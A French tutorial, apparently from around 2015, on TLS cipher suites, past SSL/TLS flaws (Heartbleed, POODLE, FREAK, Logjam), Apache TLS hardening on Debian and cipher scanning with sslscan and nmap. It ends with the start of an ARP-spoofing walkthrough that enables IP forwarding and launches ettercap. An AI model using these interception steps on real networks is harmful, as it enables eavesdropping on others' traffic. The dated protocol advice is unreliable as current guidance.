Les suites cryptographiques

Une suite cryptographique (cipher suite) est une combinaison d’algorithmes permettant l’authentification, le chiffrement et l’intégrité des données ainsi que l’échange de la clé afin d’établir un paramétrage de sécurité pour une connexion réseau utilisant le protocole de communication Transport Layer Security (TLS).

Elle est représentée généralement comme ceci : TLS_[Kx_]Au_WITH_En_Mac (exemples : TLS_RSA_WITH_RC4_128_MD5 et TLS_DHE_RSA_WITH_AES_128_CBC_SHA)

Voici à quoi servent les mécanismes de la réprésentation ci-dessus :

  • Kx : établir les éléments secrets de session
  • Au : authentifier les parties
  • En : chiffrer les données applicatives
  • Mac : protéger les données applicatives en intégrité.

Voci le détail des 2 exemples de suites cryptographiques :

TLS_RSA_WITH_RC4_128_MD5

RSA
décrit ici à la fois la méthode d’authentification du serveur et la méthode d’établissement des secrets de session : une fois que le client aura reçu le certificat du serveur, il tirera un secret de session au hasard, le pre master secret, et le chiffrera en utilisant la clé publique contenue dans le certificat. Cet aléa chiffré sera ensuite envoyé dans le message ClientKeyExchange, que seul le serveur pourra déchiffrer. Il s’agit donc d’une authentification implicite du serveur ;

RC4_128
indique que l’algorithme de chiffrement par flot RC4 va être utilisé avec une clé de 128 bits pour déchiffrer le canal de communication ;

MD5
concerne enfin la protection en intégrité du canal de communication : HMAC MD5 sera employé

TLS_DHE_RSA_WITH_AES_128_CBC_SHA

DHE
décrit la méthode utilisée pour que les deux parties se mettent d’accord sur la clé de session (Key Agreement). DHE signifie Diffie-Hellman Éphémère ;

Associée à DHE, la partie RSA indique que les paramètres Diffie-Hellman du serveur seront signés avec la clé privée RSA associée au certificat envoyé au client. Ce mécanisme permet l’authentication du serveur (en réalité, la signature couvre non seulement ces paramètres, mais également les aléas fournis lors des messages ClientHello et ServerHello, garantissant le caractère non rejouable de la négociation) ;

AES_128_CBC
concerne la protection en confidentialité des données échangées : l’algorithme de chiffrement par bloc AES avec une clé de 128 bits sera utilisé en mode CBC (Cipher-Block-Chaining) ;

SHA
enfin indique que HMAC SHA1 sera utilisé pour la protection en intégrité

Quelques acronymes

  • DHE :Diffie-Hellman Ephémère
  • ECDHE :Diffie-Hellman Ephémère réalisé sur une courbe elliptique (de façon générale on trouve souvent « EC » pour l’utilisation des courbes elliptiques)
  • ADH :Diffie-Hellman anonyme
  • PKCS :Public Key Cryptographic Standards (ou standards de cryptographie à clé publique), il s’agit d’un ensemble de spécifications conçues par les laboratoires RSA

Quelques commandes intéressantes

La commande suivante permet d’afficher toutes les suites gérées par OpenSSL sur votre poste :

$ openssl ciphers -v
ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 Kx=ECDH     Au=RSA  Enc=AESGCM(256) Mac=AEAD
ECDHE-ECDSA-AES256-GCM-SHA384 TLSv1.2 Kx=ECDH     Au=ECDSA Enc=AESGCM(256) Mac=AEAD
ECDHE-RSA-AES256-SHA384 TLSv1.2 Kx=ECDH     Au=RSA  Enc=AES(256)  Mac=SHA384
ECDHE-ECDSA-AES256-SHA384 TLSv1.2 Kx=ECDH     Au=ECDSA Enc=AES(256)  Mac=SHA384
ECDHE-RSA-AES256-SHA    SSLv3 Kx=ECDH     Au=RSA  Enc=AES(256)  Mac=SHA1
ECDHE-ECDSA-AES256-SHA  SSLv3 Kx=ECDH     Au=ECDSA Enc=AES(256)  Mac=SHA1
SRP-DSS-AES-256-CBC-SHA SSLv3 Kx=SRP      Au=DSS  Enc=AES(256)  Mac=SHA1
SRP-RSA-AES-256-CBC-SHA SSLv3 Kx=SRP      Au=RSA  Enc=AES(256)  Mac=SHA1
SRP-AES-256-CBC-SHA     SSLv3 Kx=SRP      Au=SRP  Enc=AES(256)  Mac=SHA1
DHE-DSS-AES256-GCM-SHA384 TLSv1.2 Kx=DH       Au=DSS  Enc=AESGCM(256) Mac=AEAD
DHE-RSA-AES256-GCM-SHA384 TLSv1.2 Kx=DH       Au=RSA  Enc=AESGCM(256) Mac=AEAD
DHE-RSA-AES256-SHA256   TLSv1.2 Kx=DH       Au=RSA  Enc=AES(256)  Mac=SHA256
DHE-DSS-AES256-SHA256   TLSv1.2 Kx=DH       Au=DSS  Enc=AES(256)  Mac=SHA256
DHE-RSA-AES256-SHA      SSLv3 Kx=DH       Au=RSA  Enc=AES(256)  Mac=SHA1
DHE-DSS-AES256-SHA      SSLv3 Kx=DH       Au=DSS  Enc=AES(256)  Mac=SHA1
DHE-RSA-CAMELLIA256-SHA SSLv3 Kx=DH       Au=RSA  Enc=Camellia(256) Mac=SHA1
DHE-DSS-CAMELLIA256-SHA SSLv3 Kx=DH       Au=DSS  Enc=Camellia(256) Mac=SHA1
ECDH-RSA-AES256-GCM-SHA384 TLSv1.2 Kx=ECDH/RSA Au=ECDH Enc=AESGCM(256) Mac=AEAD
ECDH-ECDSA-AES256-GCM-SHA384 TLSv1.2 Kx=ECDH/ECDSA Au=ECDH Enc=AESGCM(256) Mac=AEAD
ECDH-RSA-AES256-SHA384  TLSv1.2 Kx=ECDH/RSA Au=ECDH Enc=AES(256)  Mac=SHA384
ECDH-ECDSA-AES256-SHA384 TLSv1.2 Kx=ECDH/ECDSA Au=ECDH Enc=AES(256)  Mac=SHA384
ECDH-RSA-AES256-SHA     SSLv3 Kx=ECDH/RSA Au=ECDH Enc=AES(256)  Mac=SHA1
ECDH-ECDSA-AES256-SHA   SSLv3 Kx=ECDH/ECDSA Au=ECDH Enc=AES(256)  Mac=SHA1
AES256-GCM-SHA384       TLSv1.2 Kx=RSA      Au=RSA  Enc=AESGCM(256) Mac=AEAD
AES256-SHA256           TLSv1.2 Kx=RSA      Au=RSA  Enc=AES(256)  Mac=SHA256
AES256-SHA              SSLv3 Kx=RSA      Au=RSA  Enc=AES(256)  Mac=SHA1
CAMELLIA256-SHA         SSLv3 Kx=RSA      Au=RSA  Enc=Camellia(256) Mac=SHA1
PSK-AES256-CBC-SHA      SSLv3 Kx=PSK      Au=PSK  Enc=AES(256)  Mac=SHA1
ECDHE-RSA-DES-CBC3-SHA  SSLv3 Kx=ECDH     Au=RSA  Enc=3DES(168) Mac=SHA1
ECDHE-ECDSA-DES-CBC3-SHA SSLv3 Kx=ECDH     Au=ECDSA Enc=3DES(168) Mac=SHA1
SRP-DSS-3DES-EDE-CBC-SHA SSLv3 Kx=SRP      Au=DSS  Enc=3DES(168) Mac=SHA1
SRP-RSA-3DES-EDE-CBC-SHA SSLv3 Kx=SRP      Au=RSA  Enc=3DES(168) Mac=SHA1
SRP-3DES-EDE-CBC-SHA    SSLv3 Kx=SRP      Au=SRP  Enc=3DES(168) Mac=SHA1
EDH-RSA-DES-CBC3-SHA    SSLv3 Kx=DH       Au=RSA  Enc=3DES(168) Mac=SHA1
EDH-DSS-DES-CBC3-SHA    SSLv3 Kx=DH       Au=DSS  Enc=3DES(168) Mac=SHA1
ECDH-RSA-DES-CBC3-SHA   SSLv3 Kx=ECDH/RSA Au=ECDH Enc=3DES(168) Mac=SHA1
ECDH-ECDSA-DES-CBC3-SHA SSLv3 Kx=ECDH/ECDSA Au=ECDH Enc=3DES(168) Mac=SHA1
DES-CBC3-SHA            SSLv3 Kx=RSA      Au=RSA  Enc=3DES(168) Mac=SHA1
PSK-3DES-EDE-CBC-SHA    SSLv3 Kx=PSK      Au=PSK  Enc=3DES(168) Mac=SHA1
ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 Kx=ECDH     Au=RSA  Enc=AESGCM(128) Mac=AEAD
ECDHE-ECDSA-AES128-GCM-SHA256 TLSv1.2 Kx=ECDH     Au=ECDSA Enc=AESGCM(128) Mac=AEAD
ECDHE-RSA-AES128-SHA256 TLSv1.2 Kx=ECDH     Au=RSA  Enc=AES(128)  Mac=SHA256
ECDHE-ECDSA-AES128-SHA256 TLSv1.2 Kx=ECDH     Au=ECDSA Enc=AES(128)  Mac=SHA256
ECDHE-RSA-AES128-SHA    SSLv3 Kx=ECDH     Au=RSA  Enc=AES(128)  Mac=SHA1
ECDHE-ECDSA-AES128-SHA  SSLv3 Kx=ECDH     Au=ECDSA Enc=AES(128)  Mac=SHA1
SRP-DSS-AES-128-CBC-SHA SSLv3 Kx=SRP      Au=DSS  Enc=AES(128)  Mac=SHA1
SRP-RSA-AES-128-CBC-SHA SSLv3 Kx=SRP      Au=RSA  Enc=AES(128)  Mac=SHA1
SRP-AES-128-CBC-SHA     SSLv3 Kx=SRP      Au=SRP  Enc=AES(128)  Mac=SHA1
DHE-DSS-AES128-GCM-SHA256 TLSv1.2 Kx=DH       Au=DSS  Enc=AESGCM(128) Mac=AEAD
DHE-RSA-AES128-GCM-SHA256 TLSv1.2 Kx=DH       Au=RSA  Enc=AESGCM(128) Mac=AEAD
DHE-RSA-AES128-SHA256   TLSv1.2 Kx=DH       Au=RSA  Enc=AES(128)  Mac=SHA256
DHE-DSS-AES128-SHA256   TLSv1.2 Kx=DH       Au=DSS  Enc=AES(128)  Mac=SHA256
DHE-RSA-AES128-SHA      SSLv3 Kx=DH       Au=RSA  Enc=AES(128)  Mac=SHA1
DHE-DSS-AES128-SHA      SSLv3 Kx=DH       Au=DSS  Enc=AES(128)  Mac=SHA1
DHE-RSA-SEED-SHA        SSLv3 Kx=DH       Au=RSA  Enc=SEED(128) Mac=SHA1
DHE-DSS-SEED-SHA        SSLv3 Kx=DH       Au=DSS  Enc=SEED(128) Mac=SHA1
DHE-RSA-CAMELLIA128-SHA SSLv3 Kx=DH       Au=RSA  Enc=Camellia(128) Mac=SHA1
DHE-DSS-CAMELLIA128-SHA SSLv3 Kx=DH       Au=DSS  Enc=Camellia(128) Mac=SHA1
ECDH-RSA-AES128-GCM-SHA256 TLSv1.2 Kx=ECDH/RSA Au=ECDH Enc=AESGCM(128) Mac=AEAD
ECDH-ECDSA-AES128-GCM-SHA256 TLSv1.2 Kx=ECDH/ECDSA Au=ECDH Enc=AESGCM(128) Mac=AEAD
ECDH-RSA-AES128-SHA256  TLSv1.2 Kx=ECDH/RSA Au=ECDH Enc=AES(128)  Mac=SHA256
ECDH-ECDSA-AES128-SHA256 TLSv1.2 Kx=ECDH/ECDSA Au=ECDH Enc=AES(128)  Mac=SHA256
ECDH-RSA-AES128-SHA     SSLv3 Kx=ECDH/RSA Au=ECDH Enc=AES(128)  Mac=SHA1
ECDH-ECDSA-AES128-SHA   SSLv3 Kx=ECDH/ECDSA Au=ECDH Enc=AES(128)  Mac=SHA1
AES128-GCM-SHA256       TLSv1.2 Kx=RSA      Au=RSA  Enc=AESGCM(128) Mac=AEAD
AES128-SHA256           TLSv1.2 Kx=RSA      Au=RSA  Enc=AES(128)  Mac=SHA256
AES128-SHA              SSLv3 Kx=RSA      Au=RSA  Enc=AES(128)  Mac=SHA1
SEED-SHA                SSLv3 Kx=RSA      Au=RSA  Enc=SEED(128) Mac=SHA1
CAMELLIA128-SHA         SSLv3 Kx=RSA      Au=RSA  Enc=Camellia(128) Mac=SHA1
PSK-AES128-CBC-SHA      SSLv3 Kx=PSK      Au=PSK  Enc=AES(128)  Mac=SHA1
ECDHE-RSA-RC4-SHA       SSLv3 Kx=ECDH     Au=RSA  Enc=RC4(128)  Mac=SHA1
ECDHE-ECDSA-RC4-SHA     SSLv3 Kx=ECDH     Au=ECDSA Enc=RC4(128)  Mac=SHA1
ECDH-RSA-RC4-SHA        SSLv3 Kx=ECDH/RSA Au=ECDH Enc=RC4(128)  Mac=SHA1
ECDH-ECDSA-RC4-SHA      SSLv3 Kx=ECDH/ECDSA Au=ECDH Enc=RC4(128)  Mac=SHA1
RC4-SHA                 SSLv3 Kx=RSA      Au=RSA  Enc=RC4(128)  Mac=SHA1
RC4-MD5                 SSLv3 Kx=RSA      Au=RSA  Enc=RC4(128)  Mac=MD5 
PSK-RC4-SHA             SSLv3 Kx=PSK      Au=PSK  Enc=RC4(128)  Mac=SHA1
EDH-RSA-DES-CBC-SHA     SSLv3 Kx=DH       Au=RSA  Enc=DES(56)   Mac=SHA1
EDH-DSS-DES-CBC-SHA     SSLv3 Kx=DH       Au=DSS  Enc=DES(56)   Mac=SHA1
DES-CBC-SHA             SSLv3 Kx=RSA

La commande sslscan (sudo apt-get install sslscan) permet de lister les suites (SSLv3 et TLSv1) proposées par un serveur :

$ sslscan machine-squeeze.localdomain | grep Accep
    Accepted  SSLv3  256 bits  DHE-RSA-AES256-SHA
    Accepted  SSLv3  256 bits  AES256-SHA
    Accepted  SSLv3  168 bits  EDH-RSA-DES-CBC3-SHA
    Accepted  SSLv3  168 bits  DES-CBC3-SHA
    Accepted  SSLv3  128 bits  DHE-RSA-AES128-SHA
    Accepted  SSLv3  128 bits  AES128-SHA
    Accepted  SSLv3  128 bits  RC4-SHA
    Accepted  SSLv3  128 bits  RC4-MD5
    Accepted  TLSv1  256 bits  DHE-RSA-AES256-SHA
    Accepted  TLSv1  256 bits  AES256-SHA
    Accepted  TLSv1  168 bits  EDH-RSA-DES-CBC3-SHA
    Accepted  TLSv1  168 bits  DES-CBC3-SHA
    Accepted  TLSv1  128 bits  DHE-RSA-AES128-SHA
    Accepted  TLSv1  128 bits  AES128-SHA
    Accepted  TLSv1  128 bits  RC4-SHA
    Accepted  TLSv1  128 bits  RC4-MD5


Ne permettez plus l’utilisation de SSLv3! Evitez TLSv1 pour imposer uniquement TLSv1.1 et TLSv1.2.

Notes

Dans la configuration d’Apache, il est conseillé de fixer SSLHonorCipherOrder à On afin d’imposer le chiffrement commun le plus fort (suivant ce qu’on lui a indiqué dans la variable SSLCipherSuite)

Source : http://www.ssi.gouv.fr/uploads/IMG/pdf/SSL_TLS_etat_des_lieux_et_recommandations.pdf

Vulnérabilités SSL/TLS

Voici quelques vulnérabilités concernant SSL/TLS : article à compléter!

Avril 2014 : HEARTBLEED

Versions vulnérables : Les versions d’OpenSSL de 1.0.1 à 1.0.1f
Impacts : Accès à la mémoire et extraction possible d’information sensible (notamment la clé privée du serveur). La vulnérabilité vient plus précisément de l’implémentation de TLS et DTLS, qui ne gère pas correctement les paquets de l’extension « Heartbeat ».
Solution : faire les mises à jour de sécurité d’openssl puis changer les certificats.

Octobre 2014 : POODLE

Protocole vulnérable : SSLv3

La vulnérabilité s’appuie sur le fait que le mécanisme cryptographique CBC (Cipher Block Chaining) de SSL v3 est trop faible et peut être cassé. Il est possible de réaliser un man-in-the middle et de déchiffrer une partie du trafic sécurisé.

Eviter SSLv3!

Mars 2015 FREAK

Famille d’attaques : State Machine Attacks (elle repose sur la façon dont les implémentations de TLS gèrent les algorithmes de chiffrement)

Un attaquant peut modifier les messages entre le client et le serveur en forçant un chiffrement (initialement destiné à l’export) ne garantissant pas une sécurité suffisante. En fait, elle permet de forcer l’utilisation d’un chiffrement faible sur 512 bits!

Mai 2015 LOGJAM

La vulnérabilité est assez proche de Freak : elle permet de forcer l’implémentation à basculer sur un protocole de chiffrement plus faible et permet notamment la mise en place d’attaque « man in the middle » visant à intercepter les messages échangés entre deux interlocuteurs.

Logjam affecte les implémentations de l’algorithme d’échange de clef de cryptographie Diffie Hellman (notamment les implémentations supportant la suite cryptographique DHE_EXPORT).

Site web : https://weakdh.org/
Solutions : https://weakdh.org/sysadmin.html

Configurer le chiffrement TLS d’Apache sous Debian

Avec les récentes failles (POODLE, FREAK..) et les recommandations de l’ANSSI, il est important de n’autoriser, dans la mesure du possible, uniquement que TLSv1.1 et TLSv1.2.

Voici un document très intéressant présentant un état des lieux des récommandations : http://www.ssi.gouv.fr/uploads/IMG/pdf/SSL_TLS_etat_des_lieux_et_recommandations.pdf

Comment configurer (au mieux?) Apache pour Debian Squeeze LTS, Debian Wheezy et Debian Jessie?

L’installation d’Apache est la même pour toutes ces distributions.. elle se fait classiquement par les packages de la distribution :

apt-get install apache2
a2enmod ssl
a2enmod headers
a2ensite default-ssl
service apache2 restart

Les configurations TLS des vhosts (typiquement dans le fichier /etc/apache2/site-available/default-ssl si on reste dans la configuration de base avec un seul vhost) sont basées sur cet outil : https://mozilla.github.io/server-side-tls/ssl-config-generator/

En fait, pour Squeeze LTS (apache 2.2.16), on ne pourra malheureusement proposer ni TLSv1.2 ni TLSv1.1!!! on devra se contenter uniquement TLSv1.. Le mieux est de migrer rapidement vers Jessie pour avoir Apache 2.4 (à moins de compiler à partir des sources ou d’utiliser les backports). Sur une Wheezy (apache 2.2.22), on peut imposer TLSv1.1 et ou TLSv1.2!

Avant de changer la configuration d’un frontal, vérifiez que toutes les applications sont « compatibles ». Si vous avez un serveur CAS.. saura t’il faire du TLSv1.1 ou TLSv1.2?

Squeeze LTS

apache2 (2.2.16-6+squeeze14)
libssl0.9.8 (0.9.8o-4squeeze21)
openssl (0.9.8o-4squeeze21)

Configuration dite « intermediate » :


    ...
    SSLEngine on
    SSLCertificateFile      /path/to/signed_certificate
    SSLCertificateChainFile /path/to/intermediate_certificate
    SSLCertificateKeyFile   /path/to/private/key
    SSLCACertificateFile    /path/to/all_ca_certs

    # intermediate configuration, tweak to your needs
    SSLProtocol             all -SSLv2 -SSLv3
    SSLCipherSuite          ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-DSS-AES128-GCM-SHA256:kEDH+AESGCM:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-DSS-AES128-SHA256:DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA:DHE-RSA-AES256-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:AES:CAMELLIA:DES-CBC3-SHA:!aNULL:!eNULL:!EXPORT:!DES:!RC4:!MD5:!PSK:!aECDH:!EDH-DSS-DES-CBC3-SHA:!EDH-RSA-DES-CBC3-SHA:!KRB5-DES-CBC3-SHA
    SSLHonorCipherOrder     on



    # HSTS (mod_headers is required) (15768000 seconds = 6 months)
    Header always set Strict-Transport-Security "max-age=15768000"
    ...

Wheezy

apache2 (2.2.22-13+deb7u4)
libssl1.0.0 (1.0.1e-2+deb7u17) [security]
openssl (1.0.1e-2+deb7u17) [security]

Configuration dite « intermediate » :


    ...
    SSLEngine on
    SSLCertificateFile      /path/to/signed_certificate
    SSLCertificateChainFile /path/to/intermediate_certificate
    SSLCertificateKeyFile   /path/to/private/key
    SSLCACertificateFile    /path/to/all_ca_certs

    # intermediate configuration, tweak to your needs
    SSLProtocol             all -SSLv2 -SSLv3 -TLSv1
    SSLCipherSuite          ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-DSS-AES128-GCM-SHA256:kEDH+AESGCM:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-DSS-AES128-SHA256:DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA:DHE-RSA-AES256-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:AES:CAMELLIA:DES-CBC3-SHA:!aNULL:!eNULL:!EXPORT:!DES:!RC4:!MD5:!PSK:!aECDH:!EDH-DSS-DES-CBC3-SHA:!EDH-RSA-DES-CBC3-SHA:!KRB5-DES-CBC3-SHA
    SSLHonorCipherOrder     on



    # HSTS (mod_headers is required) (15768000 seconds = 6 months)
    Header always set Strict-Transport-Security "max-age=15768000"
    ...

Attention ici (contrairement aux possibilités indiquées par l’outils) on a pu rajouter -TLSv1 pour retirer l’utilisation de TLSv1!!

Jessie

apache2 (2.4.10-10)
libssl1.0.0 (1.0.1k-3+deb8u1) [security]
openssl (1.0.1k-3+deb8u1) [security]

Configuration dite « modern » :


    ...
    SSLEngine on
    SSLCertificateFile      /path/to/signed_certificate_followed_by_intermediate_certs
    SSLCertificateKeyFile   /path/to/private/key
    SSLCACertificateFile    /path/to/all_ca_certs

    # modern configuration, tweak to your needs
    SSLProtocol             all -SSLv3 -TLSv1
    SSLCipherSuite          ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-DSS-AES128-GCM-SHA256:kEDH+AESGCM:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-DSS-AES128-SHA256:DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA:DHE-RSA-AES256-SHA:!aNULL:!eNULL:!EXPORT:!DES:!RC4:!3DES:!MD5:!PSK
    SSLHonorCipherOrder     on
    SSLCompression          off

    # OCSP Stapling, only in httpd 2.3.3 and later
    SSLUseStapling          on
    SSLStaplingResponderTimeout 5
    SSLStaplingReturnResponderErrors off

    # HSTS (mod_headers is required) (15768000 seconds = 6 months)
    Header always set Strict-Transport-Security "max-age=15768000"
    ...

SSLStaplingCache        shmcb:/var/run/ocsp(128000)

Configuration dite « intermediate » :


    ...
    SSLEngine on
    SSLCertificateFile      /path/to/signed_certificate_followed_by_intermediate_certs
    SSLCertificateKeyFile   /path/to/private/key
    SSLCACertificateFile    /path/to/all_ca_certs

    # intermediate configuration, tweak to your needs
    SSLProtocol             all -SSLv3
    SSLCipherSuite          ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-DSS-AES128-GCM-SHA256:kEDH+AESGCM:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-DSS-AES128-SHA256:DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA:DHE-RSA-AES256-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:AES:CAMELLIA:DES-CBC3-SHA:!aNULL:!eNULL:!EXPORT:!DES:!RC4:!MD5:!PSK:!aECDH:!EDH-DSS-DES-CBC3-SHA:!EDH-RSA-DES-CBC3-SHA:!KRB5-DES-CBC3-SHA
    SSLHonorCipherOrder     on
    SSLCompression          off

    # OCSP Stapling, only in httpd 2.3.3 and later
    SSLUseStapling          on
    SSLStaplingResponderTimeout 5
    SSLStaplingReturnResponderErrors off    

# HSTS (mod_headers is required) (15768000 seconds = 6 months)
    Header always set Strict-Transport-Security "max-age=15768000"
    ...

SSLStaplingCache        shmcb:/var/run/ocsp(128000)

On peut tester les protocoles et algorithmes de chiffrements avec nmap!

Pour une installation d’Apache 2 sur Jessie ça donne ça :

nmap --script ssl-enum-ciphers -p 443 jessie
Nmap scan report for jessie (192.168.0.33)
Host is up (0.00028s latency).
PORT STATE SERVICE
443/tcp open https
| ssl-enum-ciphers:
| SSLv3: No supported ciphers found
| TLSv1.0:
| ciphers:
| TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA - strong
| TLS_DHE_RSA_WITH_AES_128_CBC_SHA - strong
| TLS_DHE_RSA_WITH_AES_256_CBC_SHA - strong
| TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
| TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA - strong
| TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA - strong
| TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA - strong
| TLS_RSA_WITH_3DES_EDE_CBC_SHA - strong
| TLS_RSA_WITH_AES_128_CBC_SHA - strong
| TLS_RSA_WITH_AES_256_CBC_SHA - strong
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| compressors:
| NULL
| TLSv1.1:
| ciphers:
| TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA - strong
| TLS_DHE_RSA_WITH_AES_128_CBC_SHA - strong
| TLS_DHE_RSA_WITH_AES_256_CBC_SHA - strong
| TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
| TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA - strong
| TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA - strong
| TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA - strong
| TLS_RSA_WITH_3DES_EDE_CBC_SHA - strong
| TLS_RSA_WITH_AES_128_CBC_SHA - strong
| TLS_RSA_WITH_AES_256_CBC_SHA - strong
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| compressors:
| NULL
| TLSv1.2:
| ciphers:
| TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA - strong
| TLS_DHE_RSA_WITH_AES_128_CBC_SHA - strong
| TLS_DHE_RSA_WITH_AES_128_CBC_SHA256 - strong
| TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 - strong
| TLS_DHE_RSA_WITH_AES_256_CBC_SHA - strong
| TLS_DHE_RSA_WITH_AES_256_CBC_SHA256 - strong
| TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 - strong
| TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
| TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA - strong
| TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA - strong
| TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 - strong
| TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 - strong
| TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA - strong
| TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 - strong
| TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 - strong
| TLS_RSA_WITH_3DES_EDE_CBC_SHA - strong
| TLS_RSA_WITH_AES_128_CBC_SHA - strong
| TLS_RSA_WITH_AES_128_CBC_SHA256 - strong
| TLS_RSA_WITH_AES_128_GCM_SHA256 - strong
| TLS_RSA_WITH_AES_256_CBC_SHA - strong
| TLS_RSA_WITH_AES_256_CBC_SHA256 - strong
| TLS_RSA_WITH_AES_256_GCM_SHA384 - strong
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| compressors:
| NULL
|_ least strength: strong
MAC Address: 08:00:27:9C:95:DE (Cadmus Computer Systems)

Si on utilise la configuration (modern) ci-dessus :

nmap --script ssl-enum-ciphers -p 443 jessie
Starting Nmap 6.40 ( http://nmap.org ) at 2015-07-29 19:10 CEST
Nmap scan report for jessie (192.168.0.33)
Host is up (0.00028s latency).
PORT STATE SERVICE
443/tcp open https
| ssl-enum-ciphers:
| TLSv1.1:
| ciphers:
| TLS_DHE_RSA_WITH_AES_128_CBC_SHA - strong
| TLS_DHE_RSA_WITH_AES_256_CBC_SHA - strong
| TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA - strong
| TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA - strong
| compressors:
| NULL
| TLSv1.2:
| ciphers:
| TLS_DHE_RSA_WITH_AES_128_CBC_SHA - strong
| TLS_DHE_RSA_WITH_AES_128_CBC_SHA256 - strong
| TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 - strong
| TLS_DHE_RSA_WITH_AES_256_CBC_SHA - strong
| TLS_DHE_RSA_WITH_AES_256_CBC_SHA256 - strong
| TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 - strong
| TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA - strong
| TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 - strong
| TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 - strong
| TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA - strong
| TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 - strong
| TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 - strong
| compressors:
| NULL
|_ least strength: strong
MAC Address: 08:00:27:9C:95:DE (Cadmus Computer Systems)
Nmap done: 1 IP address (1 host up) scanned in 0.64 seconds

Qu’est-ce qu’une suite cryptographique?

Faire de l’ARP spoofing ou ARP poisoning

Il est très simple, sur le même segment réseau, de se faire passer pour la passerelle…

On active l’IP forwarding :

$ sudo sysctl -w net.ipv4.ip_forward=1

On lance ettercap :

